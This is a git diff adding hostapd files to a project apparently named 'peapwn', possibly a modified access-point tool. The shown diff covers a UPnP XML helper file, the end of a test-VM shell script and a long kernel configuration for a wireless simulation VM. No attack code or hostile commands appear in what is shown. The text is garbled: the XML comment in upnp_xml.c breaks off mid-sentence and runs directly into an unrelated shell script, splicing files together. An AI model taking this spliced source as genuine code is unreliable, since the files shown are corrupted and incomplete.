a/peapwn/mods/hostap/src/wps/upnp_xml.c b/peapwn/mods/hostap/src/wps/upnp_xml.c new file mode 100644 index 000000000..a9958eeda --- /dev/null +++ b/peapwn/mods/hostap/src/wps/upnp_xml.c @@ -0,0 +1,252 @@ +/* + * UPnP XML helper routines + * Copyright (c) 2000-2003 Intel Corporation + * Copyright (c) 2006-2007 Sony Corporation + * Copyright (c) 2008-2009 Atheros Communications + * Copyright (c) 2009, Jouni Malinen + * + * See wps_upnp.c for more details on licensing and code history. + */ + +#include "includes.h" + +#include "common.h" +#include "base64.h" +#include "http.h" +#include "upnp_xml.h" + + +/* + * XML parsing and formatting + * + * XML is a markup language based on unicode; usually (and in our case, + * always!) based on utf-8. utf-8 uses a variable number of bytes per + * character. utf-8 has the advantage that all non-ASCII unicode characters are + * represented by sequences of non-ascii (high bit set) bytes, whereas ASCII + * characters are single ascii bytes, thus we can use typical text processing. + * + * (One other interesting thing about utf-8 is that it is possible to look at + * any random byte and determine if it is the first byte of a character as + * versus a continuation byte). + * + * The base syntax of XML uses a few ASCII punctionation characters; any + * characters that would appear in the payload data are rewritten using + * sequences, e.g., & for ampersand(&) and < for left angle bracket (<). + * Five such escapes total (more can be defined but that does not apply to our + * case). Thus we can safely parse for angle brackets etc. + * + * XML describes tree structures of tagged data, with each element beginning + * with an opening tag with + * matching label. (There is also a self-closing tag /dev/ttyS0 2>&1 +fi + +# and shut down the machine again +halt -f -p diff --git a/peapwn/mods/hostap/tests/hwsim/vm/kernel-config b/peapwn/mods/hostap/tests/hwsim/vm/kernel-config new file mode 100644 index 000000000..b1ad5d3c0 --- /dev/null +++ b/peapwn/mods/hostap/tests/hwsim/vm/kernel-config @@ -0,0 +1,1706 @@ +# +# Automatically generated file; DO NOT EDIT. +# Linux/x86 3.12.0-rc1 Kernel Configuration +# +CONFIG_64BIT=y +CONFIG_X86_64=y +CONFIG_X86=y +CONFIG_INSTRUCTION_DECODER=y +CONFIG_OUTPUT_FORMAT="elf64-x86-64" +CONFIG_ARCH_DEFCONFIG="arch/x86/configs/x86_64_defconfig" +CONFIG_LOCKDEP_SUPPORT=y +CONFIG_STACKTRACE_SUPPORT=y +CONFIG_HAVE_LATENCYTOP_SUPPORT=y +CONFIG_MMU=y +CONFIG_NEED_DMA_MAP_STATE=y +CONFIG_NEED_SG_DMA_LENGTH=y +CONFIG_GENERIC_BUG=y +CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y +CONFIG_GENERIC_HWEIGHT=y +CONFIG_RWSEM_XCHGADD_ALGORITHM=y +CONFIG_GENERIC_CALIBRATE_DELAY=y +CONFIG_ARCH_HAS_CPU_RELAX=y +CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y +CONFIG_ARCH_HAS_CPU_AUTOPROBE=y +CONFIG_HAVE_SETUP_PER_CPU_AREA=y +CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y +CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y +CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_SUSPEND_POSSIBLE=y +CONFIG_ARCH_WANT_HUGE_PMD_SHARE=y +CONFIG_ARCH_WANT_GENERAL_HUGETLB=y +CONFIG_ZONE_DMA32=y +CONFIG_AUDIT_ARCH=y +CONFIG_ARCH_SUPPORTS_OPTIMIZED_INLINING=y +CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y +CONFIG_X86_64_SMP=y +CONFIG_X86_HT=y +CONFIG_ARCH_HWEIGHT_CFLAGS="-fcall-saved-rdi -fcall-saved-rsi -fcall-saved-rdx -fcall-saved-rcx -fcall-saved-r8 -fcall-saved-r9 -fcall-saved-r10 -fcall-saved-r11" +CONFIG_ARCH_SUPPORTS_UPROBES=y +CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config" +CONFIG_IRQ_WORK=y +CONFIG_BUILDTIME_EXTABLE_SORT=y + +# +# General setup +# +CONFIG_INIT_ENV_ARG_LIMIT=32 +CONFIG_CROSS_COMPILE="" +# CONFIG_COMPILE_TEST is not set +CONFIG_LOCALVERSION="" +# CONFIG_LOCALVERSION_AUTO is not set +CONFIG_HAVE_KERNEL_GZIP=y +CONFIG_HAVE_KERNEL_BZIP2=y +CONFIG_HAVE_KERNEL_LZMA=y +CONFIG_HAVE_KERNEL_XZ=y +CONFIG_HAVE_KERNEL_LZO=y +CONFIG_HAVE_KERNEL_LZ4=y +# CONFIG_KERNEL_GZIP is not set +CONFIG_KERNEL_BZIP2=y +# CONFIG_KERNEL_LZMA is not set +# CONFIG_KERNEL_XZ is not set +# CONFIG_KERNEL_LZO is not set +# CONFIG_KERNEL_LZ4 is not set +CONFIG_DEFAULT_HOSTNAME="(none)" +# CONFIG_SWAP is not set +CONFIG_SYSVIPC=y +CONFIG_SYSVIPC_SYSCTL=y +# CONFIG_POSIX_MQUEUE is not set +# CONFIG_FHANDLE is not set +# CONFIG_AUDIT is not set + +# +# IRQ subsystem +# +CONFIG_GENERIC_IRQ_PROBE=y +CONFIG_GENERIC_IRQ_SHOW=y +CONFIG_GENERIC_PENDING_IRQ=y +CONFIG_IRQ_FORCED_THREADING=y +CONFIG_SPARSE_IRQ=y +CONFIG_CLOCKSOURCE_WATCHDOG=y +CONFIG_ARCH_CLOCKSOURCE_DATA=y +CONFIG_GENERIC_TIME_VSYSCALL=y +CONFIG_GENERIC_CLOCKEVENTS=y +CONFIG_GENERIC_CLOCKEVENTS_BUILD=y +CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y +CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y +CONFIG_GENERIC_CMOS_UPDATE=y + +# +# Timers subsystem +# +CONFIG_TICK_ONESHOT=y +CONFIG_NO_HZ_COMMON=y +# CONFIG_HZ_PERIODIC is not set +CONFIG_NO_HZ_IDLE=y +# CONFIG_NO_HZ_FULL is not set +CONFIG_NO_HZ=y +CONFIG_HIGH_RES_TIMERS=y + +# +# CPU/Task time and stats accounting +# +CONFIG_TICK_CPU_ACCOUNTING=y +# CONFIG_VIRT_CPU_ACCOUNTING_GEN is not set +# CONFIG_IRQ_TIME_ACCOUNTING is not set +CONFIG_BSD_PROCESS_ACCT=y +# CONFIG_BSD_PROCESS_ACCT_V3 is not set +CONFIG_TASKSTATS=y +CONFIG_TASK_DELAY_ACCT=y +CONFIG_TASK_XACCT=y +CONFIG_TASK_IO_ACCOUNTING=y + +# +# RCU Subsystem +# +CONFIG_TREE_PREEMPT_RCU=y +CONFIG_PREEMPT_RCU=y +CONFIG_RCU_STALL_COMMON=y +# CONFIG_RCU_USER_QS is not set +CONFIG_RCU_FANOUT=64 +CONFIG_RCU_FANOUT_LEAF=16 +# CONFIG_RCU_FANOUT_EXACT is not set +# CONFIG_RCU_FAST_NO_HZ is not set +# CONFIG_TREE_RCU_TRACE is not set +# CONFIG_RCU_BOOST is not set +# CONFIG_RCU_NOCB_CPU is not set +# CONFIG_IKCONFIG is not set +CONFIG_LOG_BUF_SHIFT=21 +CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y +CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y +CONFIG_ARCH_WANTS_PROT_NUMA_PROT_NONE=y +# CONFIG_CGROUPS is not set +# CONFIG_CHECKPOINT_RESTORE is not set +# CONFIG_NAMESPACES is not set +# CONFIG_UIDGID_STRICT_TYPE_CHECKS is not set +# CONFIG_SCHED_AUTOGROUP is not set +# CONFIG_SYSFS_DEPRECATED is not set +# CONFIG_RELAY is not set +# CONFIG_BLK_DEV_INITRD is not set +# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set +CONFIG_SYSCTL=y +CONFIG_ANON_INODES=y +CONFIG_SYSCTL_EXCEPTION_TRACE=y +CONFIG_HAVE_PCSPKR_PLATFORM=y +CONFIG_EXPERT=y +# CONFIG_SYSCTL_SYSCALL is not set +CONFIG_KALLSYMS=y +CONFIG_KALLSYMS_ALL=y +CONFIG_PRINTK=y +CONFIG_BUG=y +CONFIG_ELF_CORE=y +CONFIG_PCSPKR_PLATFORM=y +CONFIG_BASE_FULL=y +CONFIG_FUTEX=y +CONFIG_EPOLL=y +CONFIG_SIGNALFD=y +CONFIG_TIMERFD=y +CONFIG_EVENTFD=y +CONFIG_SHMEM=y +CONFIG_AIO=y +CONFIG_PCI_QUIRKS=y +CONFIG_EMBEDDED=y +CONFIG_HAVE_PERF_EVENTS=y + +# +# Kernel Performance Events And Counters +# +CONFIG_PERF_EVENTS=y +# CONFIG_DEBUG_PERF_USE_VMALLOC is not set +CONFIG_VM_EVENT_COUNTERS=y +CONFIG_SLUB_DEBUG=y +# CONFIG_COMPAT_BRK is not set +# CONFIG_SLAB is not set +CONFIG_SLUB=y +# CONFIG_SLOB is not set +CONFIG_SLUB_CPU_PARTIAL=y +# CONFIG_PROFILING is not set +CONFIG_TRACEPOINTS=y +CONFIG_HAVE_OPROFILE=y +CONFIG_OPROFILE_NMI_TIMER=y +CONFIG_JUMP_LABEL=y +# CONFIG_HAVE_64BIT_ALIGNED_ACCESS is not set +CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y +CONFIG_ARCH_USE_BUILTIN_BSWAP=y +CONFIG_HAVE_IOREMAP_PROT=y +CONFIG_HAVE_KPROBES=y +CONFIG_HAVE_KRETPROBES=y +CONFIG_HAVE_OPTPROBES=y +CONFIG_HAVE_KPROBES_ON_FTRACE=y +CONFIG_HAVE_ARCH_TRACEHOOK=y +CONFIG_HAVE_DMA_ATTRS=y +CONFIG_USE_GENERIC_SMP_HELPERS=y +CONFIG_GENERIC_SMP_IDLE_THREAD=y +CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y +CONFIG_HAVE_DMA_API_DEBUG=y +CONFIG_HAVE_HW_BREAKPOINT=y +CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y +CONFIG_HAVE_USER_RETURN_NOTIFIER=y +CONFIG_HAVE_PERF_EVENTS_NMI=y +CONFIG_HAVE_PERF_REGS=y +CONFIG_HAVE_PERF_USER_STACK_DUMP=y +CONFIG_HAVE_ARCH_JUMP_LABEL=y +CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y +CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y +CONFIG_HAVE_CMPXCHG_LOCAL=y +CONFIG_HAVE_CMPXCHG_DOUBLE=y +CONFIG_HAVE_ARCH_SECCOMP_FILTER=y +CONFIG_HAVE_CONTEXT_TRACKING=y +CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y +CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y +CONFIG_HAVE_ARCH_SOFT_DIRTY=y +CONFIG_MODULES_USE_ELF_RELA=y + +# +# GCOV-based kernel profiling +# +# CONFIG_GCOV_KERNEL is not set +# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set +CONFIG_SLABINFO=y +CONFIG_RT_MUTEXES=y +CONFIG_BASE_SMALL=0 +# CONFIG_MODULES is not set +CONFIG_BLOCK=y +# CONFIG_BLK_DEV_BSG is not set +# CONFIG_BLK_DEV_BSGLIB is not set +# CONFIG_BLK_DEV_INTEGRITY is not set +# CONFIG_CMDLINE_PARSER is not set + +# +# Partition Types +# +CONFIG_PARTITION_ADVANCED=y +# CONFIG_ACORN_PARTITION is not set +# CONFIG_AIX_PARTITION is not set +# CONFIG_OSF_PARTITION is not set +# CONFIG_AMIGA_PARTITION is not set +# CONFIG_ATARI_PARTITION is not set +CONFIG_MAC_PARTITION=y +CONFIG_MSDOS_PARTITION=y +# CONFIG_BSD_DISKLABEL is not set +# CONFIG_MINIX_SUBPARTITION is not set +# CONFIG_SOLARIS_X86_PARTITION is not set +# CONFIG_UNIXWARE_DISKLABEL is not set +# CONFIG_LDM_PARTITION is not set +# CONFIG_SGI_PARTITION is not set +# CONFIG_ULTRIX_PARTITION is not set +# CONFIG_SUN_PARTITION is not set +# CONFIG_KARMA_PARTITION is not set +CONFIG_EFI_PARTITION=y +# CONFIG_SYSV68_PARTITION is not set +# CONFIG_CMDLINE_PARTITION is not set + +# +# IO Schedulers +# +CONFIG_IOSCHED_NOOP=y +# CONFIG_IOSCHED_DEADLINE is not set +# CONFIG_IOSCHED_CFQ is not set +CONFIG_DEFAULT_NOOP=y +CONFIG_DEFAULT_IOSCHED="noop" +CONFIG_UNINLINE_SPIN_UNLOCK=y +# CONFIG_FREEZER is not set + +# +# Processor type and features +# +CONFIG_ZONE_DMA=y +CONFIG_SMP=y +CONFIG_X86_MPPARSE=y +# CONFIG_X86_EXTENDED_PLATFORM is not set +# CONFIG_X86_INTEL_LPSS is not set +CONFIG_SCHED_OMIT_FRAME_POINTER=y +CONFIG_HYPERVISOR_GUEST=y +CONFIG_PARAVIRT=y +# CONFIG_PARAVIRT_DEBUG is not set +CONFIG_PARAVIRT_SPINLOCKS=y +# CONFIG_XEN is not set +# CONFIG_XEN_PRIVILEGED_GUEST is not set +CONFIG_KVM_GUEST=y +# CONFIG_KVM_DEBUG_FS is not set +# CONFIG_PARAVIRT_TIME_ACCOUNTING is not set +CONFIG_PARAVIRT_CLOCK=y +CONFIG_NO_BOOTMEM=y +# CONFIG_MEMTEST is not set +# CONFIG_MK8 is not set +# CONFIG_MPSC is not set +CONFIG_MCORE2=y +# CONFIG_MATOM is not set +# CONFIG_GENERIC_CPU is not set +CONFIG_X86_INTERNODE_CACHE_SHIFT=6 +CONFIG_X86_L1_CACHE_SHIFT=6 +CONFIG_X86_INTEL_USERCOPY=y +CONFIG_X86_USE_PPRO_CHECKSUM=y +CONFIG_X86_P6_NOP=y +CONFIG_X86_TSC=y +CONFIG_X86_CMPXCHG64=y +CONFIG_X86_CMOV=y +CONFIG_X86_MINIMUM_CPU_FAMILY=64 +CONFIG_X86_DEBUGCTLMSR=y +# CONFIG_PROCESSOR_SELECT is not set +CONFIG_CPU_SUP_INTEL=y +CONFIG_CPU_SUP_AMD=y +CONFIG_CPU_SUP_CENTAUR=y +CONFIG_HPET_TIMER=y +CONFIG_DMI=y +CONFIG_GART_IOMMU=y +# CONFIG_CALGARY_IOMMU is not set +CONFIG_SWIOTLB=y +CONFIG_IOMMU_HELPER=y +# CONFIG_MAXSMP is not set +CONFIG_NR_CPUS=4 +# CONFIG_SCHED_SMT is not set +CONFIG_SCHED_MC=y +# CONFIG_PREEMPT_NONE is not set +# CONFIG_PREEMPT_VOLUNTARY is not set +CONFIG_PREEMPT=y +CONFIG_PREEMPT_COUNT=y +CONFIG_X86_LOCAL_APIC=y +CONFIG_X86_IO_APIC=y +# CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set +# CONFIG_X86_MCE is not set +# CONFIG_I8K is not set +# CONFIG_MICROCODE is not set +# CONFIG_MICROCODE_INTEL_EARLY is not set +# CONFIG_MICROCODE_AMD_EARLY is not set +# CONFIG_X86_MSR is not set +# CONFIG_X86_CPUID is not set +CONFIG_ARCH_PHYS_ADDR_T_64BIT=y +CONFIG_ARCH_DMA_ADDR_T_64BIT=y +CONFIG_DIRECT_GBPAGES=y +# CONFIG_NUMA is not set +CONFIG_ARCH_SPARSEMEM_ENABLE=y +CONFIG_ARCH_SPARSEMEM_DEFAULT=y +CONFIG_ARCH_SELECT_MEMORY_MODEL=y +CONFIG_ARCH_PROC_KCORE_TEXT=y +CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 +CONFIG_SELECT_MEMORY_MODEL=y +CONFIG_SPARSEMEM_MANUAL=y +CONFIG_SPARSEMEM=y +CONFIG_HAVE_MEMORY_PRESENT=y +CONFIG_SPARSEMEM_EXTREME=y +CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y +CONFIG_SPARSEMEM_ALLOC_MEM_MAP_TOGETHER=y +CONFIG_SPARSEMEM_VMEMMAP=y +CONFIG_HAVE_MEMBLOCK=y +CONFIG_HAVE_MEMBLOCK_NODE_MAP=y +CONFIG_ARCH_DISCARD_MEMBLOCK=y +# CONFIG_HAVE_BOOTMEM_INFO_NODE is not set +# CONFIG_MEMORY_HOTPLUG is not set +CONFIG_PAGEFLAGS_EXTENDED=y +CONFIG_SPLIT_PTLOCK_CPUS=999999 +# CONFIG_COMPACTION is not set +CONFIG_PHYS_ADDR_T_64BIT=y +CONFIG_ZONE_DMA_FLAG=1 +# CONFIG_BOUNCE is not set +CONFIG_VIRT_TO_BUS=y +# CONFIG_KSM is not set +CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 +# CONFIG_TRANSPARENT_HUGEPAGE is not set +# CONFIG_CROSS_MEMORY_ATTACH is not set +# CONFIG_CLEANCACHE is not set +# CONFIG_CMA is not set +# CONFIG_ZBUD is not set +# CONFIG_X86_CHECK_BIOS_CORRUPTION is not set +CONFIG_X86_RESERVE_LOW=64 +CONFIG_MTRR=y +# CONFIG_MTRR_SANITIZER is not set +CONFIG_X86_PAT=y +CONFIG_ARCH_USES_PG_UNCACHED=y +CONFIG_ARCH_RANDOM=y +CONFIG_X86_SMAP=y +# CONFIG_EFI is not set +# CONFIG_SECCOMP is not set +# CONFIG_CC_STACKPROTECTOR is not set +CONFIG_HZ_100=y +# CONFIG_HZ_250 is not set +# CONFIG_HZ_300 is not set +# CONFIG_HZ_1000 is not set +CONFIG_HZ=100 +CONFIG_SCHED_HRTICK=y +# CONFIG_KEXEC is not set +# CONFIG_CRASH_DUMP is not set +CONFIG_PHYSICAL_START=0x1000000 +# CONFIG_RELOCATABLE is not set +CONFIG_PHYSICAL_ALIGN=0x1000000 +# CONFIG_HOTPLUG_CPU is not set +# CONFIG_CMDLINE_BOOL is not set +CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y + +# +# Power management and ACPI options +# +# CONFIG_SUSPEND is not set +# CONFIG_PM_RUNTIME is not set +CONFIG_ACPI=y +# CONFIG_ACPI_PROCFS is not set +# CONFIG_ACPI_PROCFS_POWER is not set +# CONFIG_ACPI_EC_DEBUGFS is not set +# CONFIG_ACPI_AC is not set +# CONFIG_ACPI_BATTERY is not set +# CONFIG_ACPI_BUTTON is not set +# CONFIG_ACPI_FAN is not set +# CONFIG_ACPI_DOCK is not set +# CONFIG_ACPI_PROCESSOR is not set +# CONFIG_ACPI_CUSTOM_DSDT is not set +CONFIG_ACPI_BLACKLIST_YEAR=0 +# CONFIG_ACPI_DEBUG is not set +# CONFIG_ACPI_PCI_SLOT is not set +CONFIG_X86_PM_TIMER=y +# CONFIG_ACPI_CONTAINER is not set +# CONFIG_ACPI_SBS is not set +# CONFIG_ACPI_HED is not set +# CONFIG_ACPI_CUSTOM_METHOD is not set +# CONFIG_ACPI_APEI is not set +# CONFIG_SFI is not set + +# +# CPU Frequency scaling +# +# CONFIG_CPU_FREQ is not set + +# +# CPU Idle +# +CONFIG_CPU_IDLE=y +# CONFIG_CPU_IDLE_MULTIPLE_DRIVERS is not set +CONFIG_CPU_IDLE_GOV_LADDER=y +CONFIG_CPU_IDLE_GOV_MENU=y +# CONFIG_ARCH_NEEDS_CPU_IDLE_COUPLED is not set +# CONFIG_INTEL_IDLE is not set + +# +# Memory power savings +# +# CONFIG_I7300_IDLE is not set + +# +# Bus options (PCI etc.) +# +CONFIG_PCI=y +CONFIG_PCI_DIRECT=y +# CONFIG_PCI_MMCONFIG is not set +CONFIG_PCI_DOMAINS=y +# CONFIG_PCI_CNB20LE_QUIRK is not set +# CONFIG_PCIEPORTBUS is not set +# CONFIG_PCI_MSI is not set +# CONFIG_PCI_DEBUG is not set +# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set +# CONFIG_PCI_STUB is not set +# CONFIG_HT_IRQ is not set +# CONFIG_PCI_IOV is not set +# CONFIG_PCI_PRI is not set +# CONFIG_PCI_PASID is not set +# CONFIG_PCI_IOAPIC is not set +CONFIG_PCI_LABEL=y + +# +# PCI host controller drivers +# +# CONFIG_ISA_DMA_API is not set +CONFIG_AMD_NB=y +# CONFIG_PCCARD is not set +# CONFIG_HOTPLUG_PCI is not set +# CONFIG_RAPIDIO is not set +# CONFIG_X86_SYSFB is not set + +# +# Executable file formats / Emulations +# +CONFIG_BINFMT_ELF=y +CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE=y +CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y +CONFIG_BINFMT_SCRIPT=y +# CONFIG_HAVE_AOUT is not set +# CONFIG_BINFMT_MISC is not set +CONFIG_COREDUMP=y +# CONFIG_IA32_EMULATION is not set +CONFIG_X86_DEV_DMA_OPS=y +CONFIG_NET=y + +# +# Networking options +# +CONFIG_PACKET=y +# CONFIG_PACKET_DIAG is not set +CONFIG_UNIX=y +# CONFIG_UNIX_DIAG is not set +CONFIG_XFRM=y +# CONFIG_XFRM_USER is not set +# CONFIG_XFRM_SUB_POLICY is not set +# CONFIG_XFRM_MIGRATE is not set +# CONFIG_XFRM_STATISTICS is not set +# CONFIG_NET_KEY is not set +CONFIG_INET=y +CONFIG_IP_MULTICAST=y +CONFIG_IP_ADVANCED_ROUTER=y +# CONFIG_IP_FIB_TRIE_STATS is not set +CONFIG_IP_MULTIPLE_TABLES=y +# CONFIG_IP_ROUTE_MULTIPATH is not set +# CONFIG_IP_ROUTE_VERBOSE is not set +# CONFIG_IP_PNP is not set +# CONFIG_NET_IPIP is not set +# CONFIG_NET_IPGRE_DEMUX is not set +CONFIG_NET_IP_TUNNEL=y +# CONFIG_IP_MROUTE is not set +# CONFIG_SYN_COOKIES is not set +# CONFIG_INET_AH is not set +# CONFIG_INET_ESP is not set +# CONFIG_INET_IPCOMP is not set +# CONFIG_INET_XFRM_TUNNEL is not set +CONFIG_INET_TUNNEL=y +# CONFIG_INET_XFRM_MODE_TRANSPORT is not set +# CONFIG_INET_XFRM_MODE_TUNNEL is not set +# CONFIG_INET_XFRM_MODE_BEET is not set +# CONFIG_INET_LRO is not set +# CONFIG_INET_DIAG is not set +# CONFIG_TCP_CONG_ADVANCED is not set +CONFIG_TCP_CONG_CUBIC=y +CONFIG_DEFAULT_TCP_CONG="cubic" +# CONFIG_TCP_MD5SIG is not set +CONFIG_IPV6=y +CONFIG_IPV6_PRIVACY=y +# CONFIG_IPV6_ROUTER_PREF is not set +# CONFIG_IPV6_OPTIMISTIC_DAD is not set +# CONFIG_INET6_AH is not set +# CONFIG_INET6_ESP is not set +# CONFIG_INET6_IPCOMP is not set +# CONFIG_IPV6_MIP6 is not set +# CONFIG_INET6_XFRM_TUNNEL is not set +# CONFIG_INET6_TUNNEL is not set +CONFIG_INET6_XFRM_MODE_TRANSPORT=y +CONFIG_INET6_XFRM_MODE_TUNNEL=y +CONFIG_INET6_XFRM_MODE_BEET=y +# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set +CONFIG_IPV6_SIT=y +# CONFIG_IPV6_SIT_6RD is not set +CONFIG_IPV6_NDISC_NODETYPE=y +# CONFIG_IPV6_TUNNEL is not set +# CONFIG_IPV6_GRE is not set +# CONFIG_IPV6_MULTIPLE_TABLES is not set +# CONFIG_IPV6_MROUTE is not set +# CONFIG_NETWORK_SECMARK is not set +# CONFIG_NETWORK_PHY_TIMESTAMPING is not set +# CONFIG_NETFILTER is not set +# CONFIG_IP_DCCP is not set +# CONFIG_IP_SCTP is not set +# CONFIG_RDS is not set +# CONFIG_TIPC is not set +# CONFIG_ATM is not set +# CONFIG_L2TP is not set +CONFIG_STP=y +CONFIG_BRIDGE=y +CONFIG_BRIDGE_IGMP_SNOOPING=y +CONFIG_HAVE_NET_DSA=y +# CONFIG_VLAN_8021Q is not set +# CONFIG_DECNET is not set +CONFIG_LLC=y +# CONFIG_LLC2 is not set +# CONFIG_IPX is not set +# CONFIG_ATALK is not set +# CONFIG_X25 is not set +# CONFIG_LAPB is not set +# CONFIG_PHONET is not set +# CONFIG_IEEE802154 is not set +# CONFIG_NET_SCHED is not set +# CONFIG_DCB is not set +# CONFIG_BATMAN_ADV is not set +# CONFIG_OPENVSWITCH is not set +# CONFIG_VSOCKETS is not set +# CONFIG_NETLINK_MMAP is not set +# CONFIG_NETLINK_DIAG is not set +# CONFIG_NET_MPLS_GSO is not set +CONFIG_RPS=y +CONFIG_RFS_ACCEL=y +CONFIG_XPS=y +CONFIG_NET_RX_BUSY_POLL=y +CONFIG_BQL=y +CONFIG_NET_FLOW_LIMIT=y + +# +# Network testing +# +# CONFIG_NET_PKTGEN is not set +# CONFIG_NET_DROP_MONITOR is not set +# CONFIG_HAMRADIO is not set +# CONFIG_CAN is not set +# CONFIG_IRDA is not set +# CONFIG_BT is not set +# CONFIG_AF_RXRPC is not set +CONFIG_FIB_RULES=y +CONFIG_WIRELESS=y +CONFIG_CFG80211=y +# CONFIG_NL80211_TESTMODE is not set +CONFIG_CFG80211_DEVELOPER_WARNINGS=y +# CONFIG_CFG80211_REG_DEBUG is not set +# CONFIG_CFG80211_CERTIFICATION_ONUS is not set +CONFIG_CFG80211_DEFAULT_PS=y +CONFIG_CFG80211_DEBUGFS=y +# CONFIG_CFG80211_INTERNAL_REGDB is not set +# CONFIG_CFG80211_WEXT is not set +# CONFIG_LIB80211 is not set +CONFIG_MAC80211=y +CONFIG_MAC80211_HAS_RC=y +# CONFIG_MAC80211_RC_PID is not set +CONFIG_MAC80211_RC_MINSTREL=y +CONFIG_MAC80211_RC_MINSTREL_HT=y +CONFIG_MAC80211_RC_DEFAULT_MINSTREL=y +CONFIG_MAC80211_RC_DEFAULT="minstrel_ht" +# CONFIG_MAC80211_MESH is not set +CONFIG_MAC80211_DEBUGFS=y +CONFIG_MAC80211_MESSAGE_TRACING=y +CONFIG_MAC80211_DEBUG_MENU=y +CONFIG_MAC80211_NOINLINE=y +CONFIG_MAC80211_VERBOSE_DEBUG=y +CONFIG_MAC80211_MLME_DEBUG=y +CONFIG_MAC80211_STA_DEBUG=y +CONFIG_MAC80211_HT_DEBUG=y +CONFIG_MAC80211_IBSS_DEBUG=y +CONFIG_MAC80211_PS_DEBUG=y +CONFIG_MAC80211_TDLS_DEBUG=y +# CONFIG_MAC80211_DEBUG_COUNTERS is not set +# CONFIG_WIMAX is not set +CONFIG_RFKILL=y +# CONFIG_RFKILL_INPUT is not set +CONFIG_NET_9P=y +CONFIG_NET_9P_VIRTIO=y +# CONFIG_NET_9P_DEBUG is not set +# CONFIG_CAIF is not set +# CONFIG_CEPH_LIB is not set +# CONFIG_NFC is not set +CONFIG_HAVE_BPF_JIT=y + +# +# Device Drivers +# + +# +# Generic Driver Options +# +CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug" +# CONFIG_DEVTMPFS is not set +CONFIG_STANDALONE=y +CONFIG_PREVENT_FIRMWARE_BUILD=y +CONFIG_FW_LOADER=y +CONFIG_FIRMWARE_IN_KERNEL=y +CONFIG_EXTRA_FIRMWARE="" +CONFIG_FW_LOADER_USER_HELPER=y +# CONFIG_DEBUG_DRIVER is not set +# CONFIG_DEBUG_DEVRES is not set +# CONFIG_SYS_HYPERVISOR is not set +# CONFIG_GENERIC_CPU_DEVICES is not set +# CONFIG_DMA_SHARED_BUFFER is not set + +# +# Bus devices +# +# CONFIG_CONNECTOR is not set +# CONFIG_MTD is not set +# CONFIG_PARPORT is not set +CONFIG_PNP=y +# CONFIG_PNP_DEBUG_MESSAGES is not set + +# +# Protocols +# +CONFIG_PNPACPI=y +# CONFIG_BLK_DEV is not set + +# +# Misc devices +# +# CONFIG_SENSORS_LIS3LV02D is not set +# CONFIG_DUMMY_IRQ is not set +# CONFIG_IBM_ASM is not set +# CONFIG_PHANTOM is not set +# CONFIG_SGI_IOC4 is not set +# CONFIG_TIFM_CORE is not set +# CONFIG_ATMEL_SSC is not set +# CONFIG_ENCLOSURE_SERVICES is not set +# CONFIG_HP_ILO is not set +# CONFIG_VMWARE_BALLOON is not set +# CONFIG_PCH_PHUB is not set +# CONFIG_SRAM is not set +# CONFIG_C2PORT is not set + +# +# EEPROM support +# +# CONFIG_EEPROM_93CX6 is not set +# CONFIG_CB710_CORE is not set + +# +# Texas Instruments shared transport line discipline +# + +# +# Altera FPGA firmware download module +# +# CONFIG_VMWARE_VMCI is not set +CONFIG_HAVE_IDE=y +# CONFIG_IDE is not set + +# +# SCSI device support +# +CONFIG_SCSI_MOD=y +# CONFIG_RAID_ATTRS is not set +# CONFIG_SCSI is not set +# CONFIG_SCSI_DMA is not set +# CONFIG_SCSI_NETLINK is not set +# CONFIG_ATA is not set +# CONFIG_MD is not set +# CONFIG_FUSION is not set + +# +# IEEE 1394 (FireWire) support +# +# CONFIG_FIREWIRE is not set +# CONFIG_FIREWIRE_NOSY is not set +# CONFIG_I2O is not set +# CONFIG_MACINTOSH_DRIVERS is not set +CONFIG_NETDEVICES=y +# CONFIG_NET_CORE is not set +# CONFIG_ARCNET is not set + +# +# CAIF transport drivers +# + +# +# Distributed Switch Architecture drivers +# +# CONFIG_NET_DSA_MV88E6XXX is not set +# CONFIG_NET_DSA_MV88E6060 is not set +# CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set +# CONFIG_NET_DSA_MV88E6131 is not set +# CONFIG_NET_DSA_MV88E6123_61_65 is not set +# CONFIG_ETHERNET is not set +# CONFIG_FDDI is not set +# CONFIG_HIPPI is not set +# CONFIG_NET_SB1000 is not set +# CONFIG_PHYLIB is not set +# CONFIG_PPP is not set +# CONFIG_SLIP is not set +CONFIG_WLAN=y +# CONFIG_LIBERTAS_THINFIRM is not set +# CONFIG_ATMEL is not set +# CONFIG_PRISM54 is not set +# CONFIG_RTL8180 is not set +# CONFIG_ADM8211 is not set +CONFIG_MAC80211_HWSIM=y +# CONFIG_MWL8K is not set +# CONFIG_ATH_CARDS is not set +# CONFIG_B43 is not set +# CONFIG_B43LEGACY is not set +# CONFIG_BRCMFMAC is not set +# CONFIG_HOSTAP is not set +# 